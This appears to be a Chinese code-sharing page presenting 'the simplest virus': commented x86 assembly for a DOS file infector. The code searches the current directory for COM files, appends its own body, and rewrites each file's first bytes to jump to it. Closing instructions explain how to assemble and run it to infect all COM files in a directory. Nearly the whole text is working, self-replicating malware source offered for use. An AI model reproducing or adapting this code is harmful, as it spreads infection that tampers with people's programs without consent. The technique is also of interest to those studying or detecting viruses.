?? 最簡單的病毒1.txt
字號:
這個病毒恐怕是世界上最簡單的病毒了,它只會感染,不會有破壞動作。
Coolest對病毒的每一部分給出了詳細的注釋。不要說你看不懂哦。^_^
VirusLength equ VirusEnd-VirusStart
codeseg segment
assume cs:codeseg,ds:codeseg,ss:codeseg
org 100h
main proc near
InfectedCode db "M"
db 3 dup(90h)
VirusStart:
call WhereIAm
WhereIAm:
pop si
;si指向pop si的首地址now
mov bp,si
add si,Original4Bytes-WhereIAm
;si指向Original4Bytes的首地址now
mov di,100h
movsw
movsw
;恢復原來的文件頭4個字節,以執行完病毒體后返回時正常
;執行原程序
mov si,bp
;si指向pop si的首地址now
mov ah,4eh
Look4NextTarget:
mov dx,offset Target-WhereIAm
add dx,si
mov cx,0
int 21h
;查找第一個com文件
jc error
mov ax,3d02h
mov dx,9eh
int 21h
jc error
xchg ax,bx
mov ah,3fh
mov dx,si
add dx,Original4Bytes-WhereIAm
mov cx,4
int 21h
;保留原com文件前4個字節
mov al,'M'
cmp ds:[si+Original4Bytes-WhereIAm],al
jz SickOrExe
;已感染或是exe文件
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
;移動指針到文件尾
mov di,offset FourNewBytes-WhereIAm
add di,2
add di,si
;di指向0,0的第一個0
sub ax,4
;恐怕最難明白就是這里了
;病毒把'M' e9寫進文件頭兩個字節里后
;e9 wx yz被翻譯為 jmp near $+2+yzwx
;ax此時為文件長度,從而
;文件頭兩條指令為
;dec bp
;jmp near (文件尾)
mov ds:[di],ax
add si,VirusStart-WhereIAm
;si指向VirusStart
mov ah,40h
mov dx,si
mov cx,VirusLength
int 21h
;寫病毒體進文件
mov si,bp
;si指向pop si的首地址now(即WhereIAm)
jc error
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
;移動文件指針到文件頭
mov ah,40h
mov cx,4
mov dx,si
add dx,FourNewBytes-WhereIAm
int 21h
;使文件執行時先跳到文件尾的病毒體執行
jc error
mov ah,3eh
int 21h
;關閉文件,感染完成
SickOrExe:
mov ah,4fh
jmp Look4NextTarget
error:
mov ax,100h
push ax
ret
;文件頭四個字節已經恢復,可以正常執行原程序了
main endp
Original4Bytes:
ret
db 3 dup(?)
;病毒初次運行時,若沒找到com文件,就會
;執行ret到psp段首
Target db "*.com",0
FourNewBytes db 'M',0e9h,0,0
VirusEnd equ $
codeseg ends
end main
使用說明:
用Masm或Tasm編譯,然后用Exe2Com轉換為com文件,運行即可感染當前目錄下的
所有com文件。
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -